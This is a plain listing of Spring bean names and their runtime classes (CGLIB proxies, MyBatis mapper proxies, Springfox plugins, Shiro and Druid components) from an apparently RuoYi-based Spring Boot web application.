"sysJobController" -> "com.ruoyi.quartz.controller.SysJobController$$EnhancerBySpringCGLIB$$f85db5c"
"org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration$CglibAutoProxyConfiguration" -> "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration$CglibAutoProxyConfiguration"
"org.springframework.transaction.config.internalTransactionalEventListenerFactory" -> "org.springframework.transaction.event.TransactionalEventListenerFactory"
"expanderNotNull" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterNotNullAnnotationPlugin"
"sysOperLogMapper" -> "com.sun.proxy.$Proxy298"
"mvcValidator" -> "org.springframework.boot.autoconfigure.validation.ValidatorAdapter"
"viewProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"applicationAvailability" -> "org.springframework.boot.availability.ApplicationAvailabilityBean"
"defaultTemplateResolver" -> "org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver"
"mvcResourceUrlProvider" -> "org.springframework.web.servlet.resource.ResourceUrlProvider"
"org.springframework.boot.context.internalConfigurationPropertiesBinderFactory" -> "org.springframework.boot.context.properties.ConfigurationPropertiesBinder$Factory"
"spring.thymeleaf-org.springframework.boot.autoconfigure.thymeleaf.ThymeleafProperties" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafProperties"
"swaggerUiConfigurer" -> "springfox.boot.starter.autoconfigure.SwaggerUiWebMvcConfigurer"
"org.springframework.boot.autoconfigure.AutoConfigurationPackages" -> "org.springframework.boot.autoconfigure.AutoConfigurationPackages$BasePackages"
"com.alibaba.druid.spring.boot.autoconfigure.stat.DruidWebStatFilterConfiguration" -> "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidWebStatFilterConfiguration"
"sysNoticeServiceImpl" -> "com.ruoyi.system.service.impl.SysNoticeServiceImpl"
"sysJobMapper" -> "com.sun.proxy.$Proxy302"
"openApiParameterBuilder" -> "springfox.documentation.swagger.readers.parameter.OpenApiParameterBuilder"
"sizePlugin" -> "springfox.bean.validators.plugins.schema.SizeAnnotationPlugin"
"compatibilityModelMapperImpl" -> "springfox.documentation.swagger2.mappers.CompatibilityModelMapperImpl"
"sysRoleController" -> "com.ruoyi.web.controller.system.SysRoleController$$EnhancerBySpringCGLIB$$b87157e9"
"sysDeptController" -> "com.ruoyi.web.controller.system.SysDeptController$$EnhancerBySpringCGLIB$$48ac0e76"
"operationDeprecatedReader" -> "springfox.documentation.spring.web.readers.operation.OperationDeprecatedReader"
"sysLogininforController" -> "com.ruoyi.web.controller.monitor.SysLogininforController$$EnhancerBySpringCGLIB$$46005583"
"swaggerOperationTagsReader" -> "springfox.documentation.swagger.readers.operation.SwaggerOperationTagsReader"
"propertyDiscriminatorBasedInheritancePlugin" -> "springfox.documentation.schema.plugins.PropertyDiscriminatorBasedInheritancePlugin"
"org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration"
"patternPlugin" -> "springfox.bean.validators.plugins.schema.PatternAnnotationPlugin"
"vendorExtensionsMapperImpl" -> "springfox.documentation.swagger2.mappers.VendorExtensionsMapperImpl"
"com.github.pagehelper.autoconfigure.PageHelperAutoConfiguration" -> "com.github.pagehelper.autoconfigure.PageHelperAutoConfiguration$$EnhancerBySpringCGLIB$$6c913d94"
"org.springframework.boot.autoconfigure.context.MessageSourceAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.MessageSourceAutoConfiguration"
"sysLogininforMapper" -> "com.sun.proxy.$Proxy297"
"sysUserOnlineServiceImpl" -> "com.ruoyi.system.service.impl.SysUserOnlineServiceImpl"
"org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafJava8TimeDialect" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafJava8TimeDialect"
"messageSourceProperties" -> "org.springframework.boot.autoconfigure.context.MessageSourceProperties"
"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter"
"sysJobServiceImpl" -> "com.ruoyi.quartz.service.impl.SysJobServiceImpl$$EnhancerBySpringCGLIB$$2a2c6f2b"
"buildController" -> "com.ruoyi.web.controller.tool.BuildController$$EnhancerBySpringCGLIB$$77185882"
"sysDictTypeServiceImpl" -> "com.ruoyi.system.service.impl.SysDictTypeServiceImpl$$EnhancerBySpringCGLIB$$b691e526"
"errorPageRegistrarBeanPostProcessor" -> "org.springframework.boot.web.server.ErrorPageRegistrarBeanPostProcessor"
"mvcConversionService" -> "org.springframework.boot.autoconfigure.web.format.WebConversionService"
"sysPostController" -> "com.ruoyi.web.controller.system.SysPostController$$EnhancerBySpringCGLIB$$a6283527"
"org.springframework.boot.context.properties.BoundConfigurationProperties" -> "org.springframework.boot.context.properties.BoundConfigurationProperties"
"mvcPathMatcher" -> "org.springframework.util.AntPathMatcher"
"handlerExceptionResolver" -> "org.springframework.web.servlet.handler.HandlerExceptionResolverComposite"
"basicErrorController" -> "org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController"
"webMvcSwaggerTransformer" -> "springfox.documentation.swagger2.web.WebMvcBasePathAndHostnameTransformationFilter"
"parameterDataTypeReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterDataTypeReader"
"operationSummaryReader" -> "springfox.documentation.swagger.readers.operation.OperationSummaryReader"
"webMvcRequestHandlerProvider" -> "springfox.documentation.spring.web.plugins.WebMvcRequestHandlerProvider"
"documentationPluginsManager" -> "springfox.documentation.spring.web.plugins.DocumentationPluginsManager"
"springfox.documentation.swagger2.configuration.Swagger2DocumentationConfiguration" -> "springfox.documentation.swagger2.configuration.Swagger2DocumentationConfiguration$$EnhancerBySpringCGLIB$$57862016"
"spring.datasource-org.springframework.boot.autoconfigure.jdbc.DataSourceProperties" -> "org.springframework.boot.autoconfigure.jdbc.DataSourceProperties"
"namedParameterJdbcTemplate" -> "org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate"
"sysJobLogServiceImpl" -> "com.ruoyi.quartz.service.impl.SysJobLogServiceImpl"
"sysProfileController" -> "com.ruoyi.web.controller.system.SysProfileController$$EnhancerBySpringCGLIB$$41f1e55f"
"applicationConfig" -> "com.ruoyi.framework.config.ApplicationConfig$$EnhancerBySpringCGLIB$$f00c8169"
"spring.web-org.springframework.boot.autoconfigure.web.WebProperties" -> "org.springframework.boot.autoconfigure.web.WebProperties"
"org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration" -> "org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration"
"openApiSchemaPropertyBuilder" -> "springfox.documentation.swagger.schema.OpenApiSchemaPropertyBuilder"
"druidConfig" -> "com.ruoyi.framework.config.DruidConfig$$EnhancerBySpringCGLIB$$8d18361b"
"mvcViewResolver" -> "org.springframework.web.servlet.view.ViewResolverComposite"
"springfox.documentation.swagger.configuration.SwaggerCommonConfiguration" -> "springfox.documentation.swagger.configuration.SwaggerCommonConfiguration$$EnhancerBySpringCGLIB$$2cf8ac91"
"mvcUriComponentsContributor" -> "org.springframework.web.method.support.CompositeUriComponentsContributor"
"messageSource" -> "org.springframework.context.support.ResourceBundleMessageSource"
"genController" -> "com.ruoyi.generator.controller.GenController$$EnhancerBySpringCGLIB$$afa987ba"
"sysJobLogController" -> "com.ruoyi.quartz.controller.SysJobLogController$$EnhancerBySpringCGLIB$$5668d9f4"
"operationParameterReader" -> "springfox.documentation.spring.web.readers.operation.OperationParameterReader"
"springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration" -> "springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration$$EnhancerBySpringCGLIB$$ba979319"
"documentationPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"taskExecutorBuilder" -> "org.springframework.boot.task.TaskExecutorBuilder"
"org.springframework.boot.autoconfigure.jdbc.JdbcTemplateConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.JdbcTemplateConfiguration"
"templateEngine" -> "org.thymeleaf.spring5.SpringTemplateEngine"
"platformTransactionManagerCustomizers" -> "org.springframework.boot.autoconfigure.transaction.TransactionManagerCustomizers"
"springfox.boot.starter.autoconfigure.OpenApiAutoConfiguration" -> "springfox.boot.starter.autoconfigure.OpenApiAutoConfiguration$$EnhancerBySpringCGLIB$$9866c7b1"
"contentParameterAggregator" -> "springfox.documentation.spring.web.readers.operation.ContentParameterAggregator"
"defaultServletHandlerMapping" -> "org.springframework.beans.factory.support.NullBean"
"globalExceptionHandler" -> "com.ruoyi.framework.web.exception.GlobalExceptionHandler"
"persistenceExceptionTranslationPostProcessor" -> "org.springframework.dao.annotation.PersistenceExceptionTranslationPostProcessor"
"resourceGroupCache" -> "springfox.documentation.spring.web.DocumentationCache"
"characterEncodingFilter" -> "org.springframework.boot.web.servlet.filter.OrderedCharacterEncodingFilter"
"sessionDAO" -> "com.ruoyi.framework.shiro.session.OnlineSessionDAO"
"sameUrlDataInterceptor" -> "com.ruoyi.framework.interceptor.impl.SameUrlDataInterceptor"
"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration"
"preserveErrorControllerTargetClassPostProcessor" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$PreserveErrorControllerTargetClassPostProcessor"
"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration"
"sysNoticeMapper" -> "com.sun.proxy.$Proxy301"
"propertySourcesPlaceholderConfigurer" -> "org.springframework.context.support.PropertySourcesPlaceholderConfigurer"
"genTableMapper" -> "com.sun.proxy.$Proxy304"
"parameterSize" -> "springfox.bean.validators.plugins.parameter.SizeAnnotationPlugin"
"ruoYiApplication" -> "com.ruoyi.RuoYiApplication$$EnhancerBySpringCGLIB$$93c82727"
"spring.datasource.druid-com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties" -> "com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties"
"serverConfig" -> "com.ruoyi.common.config.ServerConfig"
"documentationPluginsBootstrapper" -> "springfox.documentation.spring.web.plugins.DocumentationPluginsBootstrapper"
"methodValidationPostProcessor" -> "org.springframework.boot.validation.beanvalidation.FilteredMethodValidationPostProcessor"
"stringHttpMessageConverter" -> "org.springframework.http.converter.StringHttpMessageConverter"
"org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration" -> "org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration"
"jsonComponentModule" -> "org.springframework.boot.jackson.JsonComponentModule"
"syntheticModelProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"swaggerConfig" -> "com.ruoyi.web.core.config.SwaggerConfig$$EnhancerBySpringCGLIB$$2389560a"
"demoFormController" -> "com.ruoyi.web.controller.demo.controller.DemoFormController"
"org.springframework.context.event.internalEventListenerFactory" -> "org.springframework.context.event.DefaultEventListenerFactory"
"scheduledBeanLazyInitializationExcludeFilter" -> "org.springframework.boot.autoconfigure.task.ScheduledBeanLazyInitializationExcludeFilter"
"org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration"
"mappingJackson2HttpMessageConverter" -> "org.springframework.http.converter.json.MappingJackson2HttpMessageConverter"
"modelPropertyBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"spring.h2.console-org.springframework.boot.autoconfigure.h2.H2ConsoleProperties" -> "org.springframework.boot.autoconfigure.h2.H2ConsoleProperties"
"springfox.documentation.spring.web.SpringfoxWebMvcConfiguration" -> "springfox.documentation.spring.web.SpringfoxWebMvcConfiguration$$EnhancerBySpringCGLIB$$643c661d"
"vendorExtensionsReader" -> "springfox.documentation.swagger.readers.operation.VendorExtensionsReader"
"expandedParameterBuilder" -> "springfox.documentation.spring.web.readers.parameter.ExpandedParameterBuilder"
"org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$DefaultTemplateResolverConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$DefaultTemplateResolverConfiguration"
"typeResolver" -> "com.fasterxml.classmate.TypeResolver"
"createRestApi" -> "springfox.documentation.spring.web.plugins.Docket"
"defaultOperationReader" -> "springfox.documentation.spring.web.readers.operation.DefaultOperationReader"
"statViewServletRegistrationBean" -> "org.springframework.boot.web.servlet.ServletRegistrationBean"
"openApiControllerWebMvc" -> "springfox.documentation.oas.web.OpenApiControllerWebMvc"
"responseMessagesReader" -> "springfox.documentation.spring.web.readers.operation.ResponseMessagesReader"
"servletWebServerFactoryCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryCustomizer"
"mvcUrlPathHelper" -> "org.springframework.web.util.UrlPathHelper"
"transactionTemplate" -> "org.springframework.transaction.support.TransactionTemplate"
"factoryMethodProvider" -> "springfox.documentation.schema.property.FactoryMethodProvider"
"sysMenuController" -> "com.ruoyi.web.controller.system.SysMenuController$$EnhancerBySpringCGLIB$$dc837a84"
"oasSecurityMapperImpl" -> "springfox.documentation.oas.mappers.OasSecurityMapperImpl"
"org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration" -> "org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration"
"dataSourceAspect" -> "com.ruoyi.framework.aspectj.DataSourceAspect"
"com.ruoyi.framework.config.ApplicationConfig#MapperScannerRegistrar#0" -> "org.mybatis.spring.mapper.MapperScannerConfigurer"
"mybatis-org.mybatis.spring.boot.autoconfigure.MybatisProperties" -> "org.mybatis.spring.boot.autoconfigure.MybatisProperties"
"swaggerParameterDescriptionReader" -> "springfox.documentation.swagger.readers.parameter.ApiParamParameterBuilder"
"threadPoolConfig" -> "com.ruoyi.common.config.thread.ThreadPoolConfig$$EnhancerBySpringCGLIB$$e1d985b8"
"spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties" -> "org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties"
"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration"
"org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration" -> "org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration"
"optionalLiveReloadServer" -> "org.springframework.boot.devtools.autoconfigure.OptionalLiveReloadServer"
"demoTableController" -> "com.ruoyi.web.controller.demo.controller.DemoTableController"
"openApiOperationAuthReader" -> "springfox.documentation.swagger.readers.operation.OpenApiOperationAuthReader"
"standardJacksonObjectMapperBuilderCustomizer" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration$StandardJackson2ObjectMapperBuilderCustomizer"
"springfox.documentation.schema.configuration.ModelsConfiguration" -> "springfox.documentation.schema.configuration.ModelsConfiguration$$EnhancerBySpringCGLIB$$f698197b"
"taskSchedulerBuilder" -> "org.springframework.boot.task.TaskSchedulerBuilder"
"openApiResponseReader" -> "springfox.documentation.swagger.readers.operation.OpenApiResponseReader"
"org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration" -> "org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration"
"springfox.documentation.spring.web.SpringfoxWebConfiguration" -> "springfox.documentation.spring.web.SpringfoxWebConfiguration$$EnhancerBySpringCGLIB$$2fb0e29d"
"jacksonEnumTypeDeterminer" -> "springfox.documentation.schema.JacksonEnumTypeDeterminer"
"localeChangeInterceptor" -> "org.springframework.web.servlet.i18n.LocaleChangeInterceptor"
"captchaProducerMath" -> "com.google.code.kaptcha.impl.DefaultKaptcha"
"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration"
"sysShiroService" -> "com.ruoyi.framework.shiro.service.SysShiroService"
"transactionInterceptor" -> "org.springframework.transaction.interceptor.TransactionInterceptor"
"swaggerExpandedParameterBuilder" -> "springfox.documentation.swagger.readers.parameter.SwaggerExpandedParameterBuilder"
"shiroFilterFactoryBean" -> "com.ruoyi.framework.shiro.web.CustomShiroFilterFactoryBean$MySpringShiroFilter"
"spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties"
"sysUserRoleMapper" -> "com.sun.proxy.$Proxy287"
"inMemorySwaggerResourcesProvider" -> "springfox.documentation.swagger.web.InMemorySwaggerResourcesProvider"
"multipartConfigElement" -> "javax.servlet.MultipartConfigElement"
"parameterBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"requestContextFilter" -> "org.springframework.boot.web.servlet.filter.OrderedRequestContextFilter"
"webMvcObjectMapperConfigurer" -> "springfox.documentation.spring.web.WebMvcObjectMapperConfigurer"
"testController" -> "com.ruoyi.web.controller.tool.TestController"
"sysPasswordService" -> "com.ruoyi.framework.shiro.service.SysPasswordService"
"com.alibaba.druid.spring.boot.autoconfigure.stat.DruidStatViewServletConfiguration" -> "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidStatViewServletConfiguration"
"apiListingBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"masterDataSource" -> "com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceWrapper"
"jsonSerializer" -> "springfox.documentation.spring.web.json.JsonSerializer"
"dataScopeAspect" -> "com.ruoyi.framework.aspectj.DataScopeAspect"
"restTemplateBuilder" -> "org.springframework.boot.web.client.RestTemplateBuilder"
"localeResolver" -> "org.springframework.web.servlet.i18n.SessionLocaleResolver"
"handlerFunctionAdapter" -> "org.springframework.web.servlet.function.support.HandlerFunctionAdapter"
"shutdownManager" -> "com.ruoyi.framework.manager.ShutdownManager"
"org.springframework.boot.autoconfigure.jdbc.NamedParameterJdbcTemplateConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.NamedParameterJdbcTemplateConfiguration"
"spring.transaction-org.springframework.boot.autoconfigure.transaction.TransactionProperties" -> "org.springframework.boot.autoconfigure.transaction.TransactionProperties"
"classPathFileSystemWatcher" -> "org.springframework.boot.devtools.classpath.ClassPathFileSystemWatcher"
"org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration"
"org.springframework.boot.autoconfigure.validation.ValidationAutoConfiguration" -> "org.springframework.boot.autoconfigure.validation.ValidationAutoConfiguration"
"sysOperLogServiceImpl" -> "com.ruoyi.system.service.impl.SysOperLogServiceImpl"
"springApplicationAdminRegistrar" -> "org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar"
"welcomePageNotAcceptableHandlerMapping" -> "org.springframework.boot.autoconfigure.web.servlet.WelcomePageNotAcceptableHandlerMapping"
"pathSanitizer" -> "springfox.documentation.spring.web.paths.PathSanitizer"
"spring.resources-org.springframework.boot.autoconfigure.web.ResourceProperties" -> "org.springframework.boot.autoconfigure.web.ResourceProperties"
"requestParameterMapperImpl" -> "springfox.documentation.swagger2.mappers.RequestParameterMapperImpl"
"captchaProducer" -> "com.google.code.kaptcha.impl.DefaultKaptcha"
"typeNameExtractor" -> "springfox.documentation.schema.TypeNameExtractor"
"oasLicenceMapper" -> "springfox.documentation.oas.mappers.OasLicenceMapper"
"webStatFilterRegistrationBean" -> "org.springframework.boot.web.servlet.FilterRegistrationBean"
"springUtils" -> "com.ruoyi.common.utils.spring.SpringUtils"
"apiListingScanner" -> "springfox.documentation.spring.web.scanners.ApiListingScanner"
"operationModelsProvider" -> "springfox.documentation.spring.web.readers.operation.OperationModelsProvider"
"operationImplicitParameterReader" -> "springfox.documentation.swagger.readers.operation.OperationImplicitParameterReader"
"apiModelPropertyPropertyBuilder" -> "springfox.documentation.swagger.schema.ApiModelPropertyPropertyBuilder"
"swaggerMediaTypeReader" -> "springfox.documentation.swagger.readers.operation.SwaggerMediaTypeReader"
"apiModelReader" -> "springfox.documentation.spring.web.scanners.ApiModelReader"
"mvcContentNegotiationManager" -> "org.springframework.web.accept.ContentNegotiationManager"
"objectNamingStrategy" -> "org.springframework.boot.autoconfigure.jmx.ParentAwareNamingStrategy"
"conditionEvaluationDeltaLoggingListener" -> "org.springframework.boot.devtools.autoconfigure.ConditionEvaluationDeltaLoggingListener"
"org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration" -> "org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration"
"org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration"
"parameterNotNull" -> "springfox.bean.validators.plugins.parameter.NotNullAnnotationPlugin"
"httpRequestHandlerAdapter" -> "org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter"
"modelSpecificationMapperImpl" -> "springfox.documentation.swagger2.mappers.ModelSpecificationMapperImpl"
"notBlankPlugin" -> "springfox.bean.validators.plugins.schema.NotBlankAnnotationPlugin"
"druidProperties" -> "com.ruoyi.framework.config.properties.DruidProperties$$EnhancerBySpringCGLIB$$7f55fe2b"
"userRealm" -> "com.ruoyi.framework.shiro.realm.UserRealm"
"sysUserController" -> "com.ruoyi.web.controller.system.SysUserController$$EnhancerBySpringCGLIB$$2273bc48"
"spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties" -> "org.springframework.boot.autoconfigure.web.servlet.MultipartProperties"
"demoIconController" -> "com.ruoyi.web.controller.demo.controller.DemoIconController"
"org.springframework.context.annotation.internalCommonAnnotationProcessor" -> "org.springframework.context.annotation.CommonAnnotationBeanPostProcessor"
"sysDeptServiceImpl" -> "com.ruoyi.system.service.impl.SysDeptServiceImpl$$EnhancerBySpringCGLIB$$7daf1de0"
"operationPositionReader" -> "springfox.documentation.swagger.readers.operation.OperationPositionReader"
"org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration"
"resourceHandlerMapping" -> "org.springframework.web.servlet.handler.SimpleUrlHandlerMapping"
"simpleControllerHandlerAdapter" -> "org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter"
"org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration"
"i18nConfig" -> "com.ruoyi.framework.config.I18nConfig$$EnhancerBySpringCGLIB$$76ead511"
"jacksonJsonViewProvider" -> "springfox.documentation.schema.JacksonJsonViewProvider"
"sysRoleServiceImpl" -> "com.ruoyi.system.service.impl.SysRoleServiceImpl$$EnhancerBySpringCGLIB$$69302cd"
"demoReportController" -> "com.ruoyi.web.controller.demo.controller.DemoReportController"
"sysUserPostMapper" -> "com.sun.proxy.$Proxy291"
"spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties" -> "org.springframework.boot.autoconfigure.context.LifecycleProperties"
"modelNamesRegistryFactoryPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"demoDialogController" -> "com.ruoyi.web.controller.demo.controller.DemoDialogController"
"sysRoleMenuMapper" -> "com.sun.proxy.$Proxy284"
"defaultModelSpecificationProvider" -> "springfox.documentation.schema.DefaultModelSpecificationProvider"
"scheduledExecutorService" -> "com.ruoyi.common.config.thread.ThreadPoolConfig$1"
"pagehelper-com.github.pagehelper.autoconfigure.PageHelperProperties" -> "com.github.pagehelper.autoconfigure.PageHelperProperties"
"java8TimeDialect" -> "org.thymeleaf.extras.java8time.dialect.Java8TimeDialect"
"org.springframework.transaction.config.internalTransactionAdvisor" -> "org.springframework.transaction.interceptor.BeanFactoryTransactionAttributeSourceAdvisor"
"sysConfigController" -> "com.ruoyi.web.controller.system.SysConfigController$$EnhancerBySpringCGLIB$$23ad098d"
"parameterNamesModule" -> "com.fasterxml.jackson.module.paramnames.ParameterNamesModule"
"myBatisConfig" -> "com.ruoyi.framework.config.MyBatisConfig$$EnhancerBySpringCGLIB$$afd6e26c"
"examplesMapperImpl" -> "springfox.documentation.oas.mappers.ExamplesMapperImpl"
"operationAuthReader" -> "springfox.documentation.swagger.readers.operation.OperationAuthReader"
"authorizationAttributeSourceAdvisor" -> "org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor"
"operationImplicitParametersReader" -> "springfox.documentation.swagger.readers.operation.OperationImplicitParametersReader"
"webMvcSwaggerTransformationFilterRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"sysPostMapper" -> "com.sun.proxy.$Proxy290"
"securityMapperImpl" -> "springfox.documentation.swagger2.mappers.SecurityMapperImpl"
"org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration"
"apiModelBuilder" -> "springfox.documentation.swagger.schema.ApiModelBuilder"
"pathProvider" -> "springfox.documentation.spring.web.paths.DefaultPathProvider"
"genTableColumnMapper" -> "com.sun.proxy.$Proxy305"
"permissionsAspect" -> "com.ruoyi.framework.aspectj.PermissionsAspect"
"sysDeptMapper" -> "com.sun.proxy.$Proxy293"
"restTemplateBuilderConfigurer" -> "org.springframework.boot.autoconfigure.web.client.RestTemplateBuilderConfigurer"
"filterConfig" -> "com.ruoyi.framework.config.FilterConfig$$EnhancerBySpringCGLIB$$a602d8eb"
"parameterTypeReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterTypeReader"
"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration"
"springfox.documentation-springfox.boot.starter.autoconfigure.SpringfoxConfigurationProperties" -> "springfox.boot.starter.autoconfigure.SpringfoxConfigurationProperties"
"swaggerOperationResponseClassReader" -> "springfox.documentation.swagger.readers.operation.SwaggerOperationResponseClassReader"
"org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration" -> "org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration"
"org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration" -> "org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration"
"sessionManager" -> "com.ruoyi.framework.shiro.web.session.OnlineWebSessionManager"
"xmlPropertyPlugin" -> "springfox.documentation.schema.property.XmlPropertyPlugin"
"spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties" -> "org.springframework.boot.autoconfigure.task.TaskExecutionProperties"
"viewControllerHandlerMapping" -> "org.springframework.web.servlet.handler.SimpleUrlHandlerMapping"
"typeNameProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"themeResolver" -> "org.springframework.web.servlet.theme.FixedThemeResolver"
"mvcPatternParser" -> "org.springframework.web.util.pattern.PathPatternParser"
"isNullPlugin" -> "springfox.bean.validators.plugins.schema.IsNullAnnotationPlugin"
"org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor" -> "org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor"
"dispatcherServlet" -> "org.springframework.web.servlet.DispatcherServlet"
"classPathRestartStrategy" -> "org.springframework.boot.devtools.classpath.PatternClassPathRestartStrategy"
"dictUtils" -> "com.ruoyi.common.utils.DictUtils"
"springfox.documentation.swagger2.configuration.Swagger2WebMvcConfiguration" -> "springfox.documentation.swagger2.configuration.Swagger2WebMvcConfiguration$$EnhancerBySpringCGLIB$$6a2d385e"
"apiDescriptionReader" -> "springfox.documentation.spring.web.scanners.ApiDescriptionReader"
"swaggerOperationModelsProvider" -> "springfox.documentation.swagger.readers.operation.SwaggerOperationModelsProvider"
"resourcesConfig" -> "com.ruoyi.framework.config.ResourcesConfig$$EnhancerBySpringCGLIB$$90e7a4de"
"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration"
"spring.devtools-org.springframework.boot.devtools.autoconfigure.DevToolsProperties" -> "org.springframework.boot.devtools.autoconfigure.DevToolsProperties"
"org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor" -> "org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor"
"pagehelper-com.github.pagehelper.autoconfigure.PageHelperStandardProperties" -> "com.github.pagehelper.autoconfigure.PageHelperStandardProperties"
"sysRoleMapper" -> "com.sun.proxy.$Proxy286"
"apiResourceController" -> "springfox.documentation.swagger.web.ApiResourceController"
